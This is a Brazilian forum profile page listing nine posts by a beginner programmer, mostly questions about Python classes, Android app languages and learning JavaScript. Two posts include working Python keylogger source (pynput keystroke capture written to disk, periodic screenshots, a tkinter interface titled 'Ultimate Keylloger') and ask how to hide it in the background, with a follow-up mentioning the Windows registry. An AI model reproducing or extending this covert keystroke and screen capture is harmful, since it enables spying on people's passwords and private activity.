Ir ao conteúdo
  • Cadastre-se

WhiteHatPR

Membros Juniores
  • Total de itens

    9
  • Registro em

  • Última visita

  • Qualificações

    N/D
  1. Muito obrigado pela resposta jonny, muito esclarecedora. Realmente, pode ser feito para várias coisas, irei dar uma melhorada e implementar aquilo que você falou quanto ao registro do windows.
  2. ja encontrei a solução e é bem simples. Basta usar o comando widthdraw() e pra janela aparecer de novo se usa o comando deiconfy algo assim.
  3. Entendo, agradeço a resposta, foi bem esclarecedora. Não havia pensando de tantas maneiras. Obrigado
  4. Pessoal, é o seguinte. Suponhamos por exemplo que o meu projeto será : Tenho um aplicativo que a pessoa instala no android, e la no android ela vai ter uma lista com possibilidades pra escolher. Por exemplo, a pessoa entra no meu aplicativo, e pode escolher o que ela vai pedir, se é um Pastel, um Cachorro quente ou etc. depois que a pessoa escolher tudo certinho lá, ela vai enviar o pedido. e de que forma ? Bom , ai eu vou ter um outro aplicativo instalado no meu computador, que ira receber os pedidos que foram feitos pelo aplicativo no celular. Tipo um ifood. A Pessoa tem um aplicativo pra fazer os pedidos, e a empresa tem o Gestor de pedidos, que no caso é o que recebe o pedido. Qual linguaguem de programação ideial para fazer esse tipo de programa ? E para isso acredito que será necessario um banco de dados certo ? Lembrando, nao tem nada a ver com site, nao quero que os pedidos sejam feitos pelo site e sim pelo app. sendo assim acho que nao vai precisar de javacript né ?
  5. Pessoal tenho esse codigo simples. Estou tentando aprender sobre Classes, Objetos e etc em python Ainda não sei mt sobre isso. Alguem poderia me dar umas dicas de como eu poderia melhorar esse codigo abaixo ? por exemplo, teria como ao invés de eu passar apenas dois parametros que sao n1 e n2, eu colocar pra que sejam quantos numeros o usuario queira e eu possa usar as mesmas funções de soma, divisao, mult. e etc com esses numeros? PS: esse continua nao era pra ta ali, esqueci de tirar class Caucula: def __init__(self, n1, n2): self.n1 = float(n1) self.n2 = float(n2) def somar(self, n1, n2): self.r = n1+n2 return print("O Resultado é %i"%(self.r)) def subtrair(self, n1, n2): self.r = n1-n2 return print("O Resultado é %i"%(self.r)) def dividir(self, n1, n2): self.r = n1/n2 return print("O Resultado é %i"%(self.r)) def multiplicar(self, n1, n2): self.r = n1*n2 return print("O Resultado é %i"%(self.r)) while True: try: rr = str(input("Escolha para Somar[S] ~ Multiplicar[M] ~ Dividir[D] ~ Subtrair[L]: ")) if rr != "S" and rr != "D" and rr !="M" and rr !="L": print("Você precisa escolhar uma opção") if rr == "S" or rr == "D" or rr =="M" or rr =="L": nO = float(input("N1 : ")) nT = float(input("N2 : ")) break except: continue print("Bye") calc = Caucula(nO,nT) if rr == "S": calc.somar(nO, nT) elif rr == "D": calc.dividir(nO, nT) elif rr == "M": calc.multiplicar(nO, nT) elif rr == "L": calc.subtrair(nO, nT)
  6. Pessoal, gostaria de saber com qual linguaguem se pode desenvolver apps android ? Sei que java dá, mas queria saber se é só essa ou existem outras? Por exemplo tem como eu desenvolver aplicativos android usando somente python ? e sim, qual eu deveria usar ? eu vi sobre um tal de kivy, mas nao tem mt coisa ensinando sobre ele e python, que no caso, python é a linguaguem que estou no momento. Sei desenvolver pra computador.. (coisas bem basicas)
  7. Tenho um programa, e quero que ele rode em segundo plano quando eu clicar em um botao (tkinter). ou quando eu apertar um botão chamado Run In Background Mas não sei como fazer essa manipulação do windows. que biblioteca eu deveria usar ? Eu quero que esse botão ou atalho faça quase o mesmo que se eu clicasse no minimizar do navegador. porém quero que o programa fica escondido ali na barra de tarefas, do lado do relogio, no caso quero que rode em segundo plano. from tkinter import * from functools import partial from pynput.keyboard import Listener import threading from PIL import ImageGrab from random import randint def grab(): c = randint(1,9999) c = str(c) ImageGrab.grab().save("Uk" + c +".jpg", "JPEG") def on_press(key): keyd=str(key) keyd=keyd.replace("'", "") translate_keys = { "Key.space": " ", "Key.shift_r": "", "Key.shift_l": "", "Key.enter": "\n", "Key.alt": "", "_l": "", "Key.ctrl": "", "Key.shift": "", "Key.capsock": "", "Key.ctrl_l": "", "Key.backspace": "", "Key.esc": "", "Key.cmd": "", "Key.caps_lock": "", } for key in translate_keys: keyd = keyd.replace(key, translate_keys[key]) print(keyd) with open("Uk.docx", "a") as o: o.write(keyd) def start(arg): def starting(args): if args is 1: lVar.set("Starting Listener") lbStatus["fg"] = "white" lbStatus["bg"] = "blue" if args is 2: lVar.set("Starting Listener .") lbStatus["fg"] = "white" lbStatus["bg"] = "blue" if args is 3: lVar.set("Starting Listener . .") lbStatus["fg"] = "white" lbStatus["bg"] = "blue" if args is 4: lVar.set("Starting Listener . . .") lbStatus["fg"] = "white" lbStatus["bg"] = "blue" def running(): lbStatus["fg"] = "white" lVar.set('[+] Listener Running') lbStatus["bg"] = "green" def not_original(): lbStatus["fg"] = "white" lbStatus["bg"] = "blue" lVar.set("[!] Click Button Start ") def err_running(): lbStatus["fg"] = "red" lVar.set('[!] Already Running ') lbStatus["bg"] = "black" threading.Timer(1, running).start() def err_notRunning(): lbStatus["fg"] = "red" lbStatus["bg"] = "black" lVar.set("[!] Not Running ") threading.Timer(1, not_original).start() def repeat(): threading.Timer(0.5,starting,[1]).start() threading.Timer(1, starting,[2]).start() threading.Timer(1.5, starting,[3]).start() threading.Timer(2, starting,[4]).start() global thr if arg == btStart: if thr is None: #Start Listener thr = Listener(on_press=on_press) threading.Timer(0.1, repeat).start() threading.Timer(2, repeat).start() thr.start() threading.Timer(5, running).start() threading.Timer(50, grab).start() else: print("Ja rodando") err_running() if arg == btStop: if thr is None: print('Nao está rodando') err_notRunning() else: print("Parando proteção") threading.Timer(1, not_original).start() thr.stop() thr.join() thr = None def runInBackground(): pass thr = None #Controller app = Tk() #Estado lVar = StringVar() lbStatus = Label(app, textvariable= lVar , bg="blue", fg="white") lbStatus.pack(side=BOTTOM, fill=X) lVar.set("[!] Click Button Start") #Button Start btStart = Button(app, text="Start") btStart.pack(side = TOP, fill=X) btStart["command"] = partial(start, btStart) #Button Stop btStop = Button(app, text="Stop") btStop.pack(side=TOP, fill=X) btStop["command"] = partial(start, btStop) #Button Backg btBackground = Button(app, text="Run in Background", command=runInBackground) btBackground.pack(side=TOP, fill=X) #Window Configs app.geometry("300x150+800+400") app.title("Ultimate Keylloger") app.maxsize(width= 300, height= 150) app.minsize(width= 300, height= 150) app.mainloop()
  8. Bom pessoal tenho o seguinte codigo. Ele funciona perfeitamente. Porém, quando eu clico no botão iniciar, o programa trava , porém continua funcionando la no console. Queria saber se tem um jeito de eu criar apenas uma função para habilitar e desabilitar o listener. e queria saber o porque meu programa ta travando. É python e tkinter from pynput.keyboard import Listener from tkinter import * from functools import partial def press(key): keyd = str(key) keyd = keyd.replace("'","") if (keyd == "Key.space" or keyd== "Key.shift_r" or keyd=="Key.ctrl_l" or keyd=="Key.caps_lock" or keyd == "Key.right" or keyd == "Key.left" or keyd == "Key.right" or keyd == "Key.ctrl_r" or keyd== 'Key.backspace' or keyd == 'Key.shift' or keyd == 'Key.tab' or keyd == 'Key.cmd'): keyd = "" with open('KeyTester.docx', "a") as op: op.write(keyd + "\n") print(keyd) def ena(): with Listener(on_press=press) as l: l.join() def dis(): with Listener(on_press=press) as l: l.stop() #CONTROLLER window = Tk() #BUTTON bt1 = Button(window, text="Iniciar Atividade", command=ena).grid() bt2 = Button(window, text="Parar Atividade", command=dis).grid() btRel = Button(window, text="Verificar Relatório").grid() #CONFIG window.title('KeyllogerBLG 1.0') window.geometry("300x200+1200+400") window.mainloop()
  9. Bom pessoal, primeiramente desculpem se estou no local errado, procurei uma seção de duvidas e não encontrei. Preciso de conselho de pessoas experientes. Eu comecei nesse meio de programação a pouco tempo. Estudei um pouco de javascript e aprendi muito bem o basico. O Problema é que agora é vejo que existe muita coisa de javascript para aprender, tem frameworks, apis, node, json, ajax, regEx e seila mais o que. Eu fiquei meio apavorado e desanimado com isso, poxa eu procurei alguns tutoriais sobre essas coisas ai e não entendi mt, talvez porque tenha olhado por cima. Mas seila, to com medo de continuar estudando javascript, acho que nao vou conseguir aprender porque é muita coisa, penso que nao vou conseguir desenvolver coisas grandes. Me assustei com tanta coisa que tem pra aprender e tem que saber. Eu queria uma dica de vocês , será que isso que to sentindo é normal ? alguem tem uma dica doq eu devo estudar apos aprender o basico de javascript ? ou seria melhor eu tentar outra linguaguem de programação ? Mais uma duvida, eu gostaria de criar programas para computador. Qual linguaguem seria boa para isso ? Eu queria estudar python, mas nao sei se com ele posso criar programas do windows e etc. Alguem me ajuda resolver essas questoes porque estou ficando desanimado. Eu entendo que é necessario muito estudo para qualquer linguaguem de programação. Mas em javascript eu vi tanta coisa (Nao sei quanto as outras) .... que fiquei desanimado e achando que nao vou aprender nada. Alguem tem algum conselho ?

Sobre o Clube do Hardware

No ar desde 1996, o Clube do Hardware é uma das maiores, mais antigas e mais respeitadas publicações sobre tecnologia do Brasil. Leia mais

Direitos autorais

Não permitimos a cópia ou reprodução do conteúdo do nosso site, fórum, newsletters e redes sociais, mesmo citando-se a fonte. Leia mais

×
×
  • Criar novo...

GRÁTIS: minicurso “Como ganhar dinheiro montando computadores”

Gabriel TorresGabriel Torres, fundador e editor executivo do Clube do Hardware, acaba de lançar um minicurso totalmente gratuito: "Como ganhar dinheiro montando computadores".

Você aprenderá sobre o quanto pode ganhar, como cobrar, como lidar com a concorrência, como se tornar um profissional altamente qualificado e muito mais!

Inscreva-se agora!